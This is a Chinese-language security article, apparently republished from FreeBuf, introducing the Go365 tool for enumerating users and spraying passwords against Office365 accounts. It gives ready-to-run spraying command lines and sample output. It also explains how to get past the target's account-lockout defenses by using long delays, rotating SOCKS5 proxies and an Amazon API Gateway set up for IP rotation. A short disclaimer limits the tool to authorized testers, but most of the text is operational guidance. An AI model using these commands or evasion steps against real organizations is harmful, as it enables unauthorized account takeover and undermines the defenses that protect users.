前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用Go365对Office365用户进行渗透

如何使用Go365对Office365用户进行渗透

作者头像
FB客服
发布2021-01-08 15:39:53
1.3K0
发布2021-01-08 15:39:53
举报
文章被收录于专栏:FreeBuf

写在前面的话

Go365这款工具旨在帮助广大研究人员针对使用了Office365(现在/即将推出Microsoft365)的组织和用户执行用户枚举和密码爆破攻击。Go365使用了login.microsoftonline.com上的惟一一个SOAP API节点,而login.microsoftonline.com则是很多其他大部分工具都不会选择使用的。当要求输入一个电子邮件地址和密码时,这个终端节点会响应一个Azure AD认证和授权代码,这个代码接下来会交由Go365处理,处理的结果会打印至屏幕或输出到文件。

用户枚举和密码爆破攻击是同时执行的,不过Go365并没有提供特定的参数或功能来允许研究人员仅执行用户枚举攻击。Go365每次执行一次密码爆破攻击,便会解析一次用户的身份是否有效。

注意事项

  • 此工具可能不适用于所有使用Office365的域。 测试表明,它适用于大多数联合域。 即使提供了有效密码,某些域也只报告有效用户,不过不同的场景下实验结果可能会不一样。
  • 该工具针对不同域的测试表明,在多次密码爆破失败之后,该工具并不会锁定目标帐户不过不同的场景下实验结果可能会不一样。
  • 此工具旨在被授权“渗透”目标组织的Office365实例的安全专业人员使用。

工具使用

工具使用样例

代码语言:javascript
复制
./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com

./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5

./Go365 -up ./userpass_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt

./Go365 -u legituser@pwnthisfakedomain.com -p 'coolpasswordbro!123' -w 5 -o Go365output.txt -proxy 127.0.0.1:1080

./Go365 -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt

./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login

帐户锁定(域防御策略)

温馨提醒:你可能并没有真正地锁定目标账户。

在对目标域进行多次查询后,工具可能会开始报告目标账号已被锁定。

一旦触发了域防御策略,用户枚举的结果就没那么可靠了,因为针对有效和无效用户的请求将随机报告其帐户已被锁定。

代码语言:javascript
复制
...

[-] User not found: test.user90@pwnthisfakedomain.com

[-] User not found: test.user91@pwnthisfakedomain.com

[-] Valid user, but invalid password: test.user92@pwnthisfakedomain.com

[!] Account Locked Out: real.user1@pwnthisfakedomain.com

[-] Valid user, but invalid password: test.user93@pwnthisfakedomain.com

[!] Account Locked Out: valid.user94@pwnthisfakedomain.com

[!] Account Locked Out: jane.smith@pwnthisfakedomain.com

[-] Valid user, but invalid password: real.user95@pwnthisfakedomain.com

[-] Valid user, but invalid password: fake.user96@pwnthisfakedomain.com

[!] Account Locked Out: valid.smith@pwnthisfakedomain.com

...

这是一种防御机制,如果在一定时间内针对目标域的有效用户查询次数到达阈值,便会触发这种防御机制。由于目标组织可以自定义设置这个阈值,因此尝试的次数和时间段将因目标域而异。

应对策略

等待延时

这种防御机制是基于时间和IP地址实现的,而Go365提供了在请求之间包括等待时间的选项和用于分发请求源的代理选项。要规避目标域上的防御机制,请使用较长的等待时间和多个代理服务器。

建议至少等待15秒:

代码语言:javascript
复制
-w 15

Socks5代理

如果大家仍然接收到“账户锁定”的响应信息,就需要设置代理来发送请求了。代理选项目前仅在SSh SOCKS5动态代理(ssh -Duser@proxyserver)上进行过测试。

大家可以在DO、AWS或Vultr等平台上创建SOCKS5代理,然后创建一个包含下列格式数据的文件:

代码语言:javascript
复制
127.0.0.1:8081

127.0.0.1:8082

127.0.0.1:8083

127.0.0.1:8084

127.0.0.1:8085

127.0.0.1:8086

...

该工具将随机迭代提供的代理服务器,并在请求之间等待指定的时间延迟。

代码语言:javascript
复制
-w 15 -proxyfile ./proxies.txt

亚马逊API网关

除此之外,我们还可以指定节点URL,以便此工具可以与亚马逊API网关进行交互对接。此时,我们需要设置网关以指向https://login.microsoftonline.com/rst2.srf节点,然后将-url参数设置为指向调用的URL地址。这里需要注意的是,我们的IP地址应该在每次发送请求之后进行地址轮换:

代码语言:javascript
复制
-url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login

工具下载

Go365:【阅读原文下载

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 写在前面的话
  • 注意事项
  • 工具使用
  • 工具使用样例
  • 帐户锁定(域防御策略)
  • 应对策略
    • 等待延时
      • Socks5代理
        • 亚马逊API网关
        • 工具下载
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档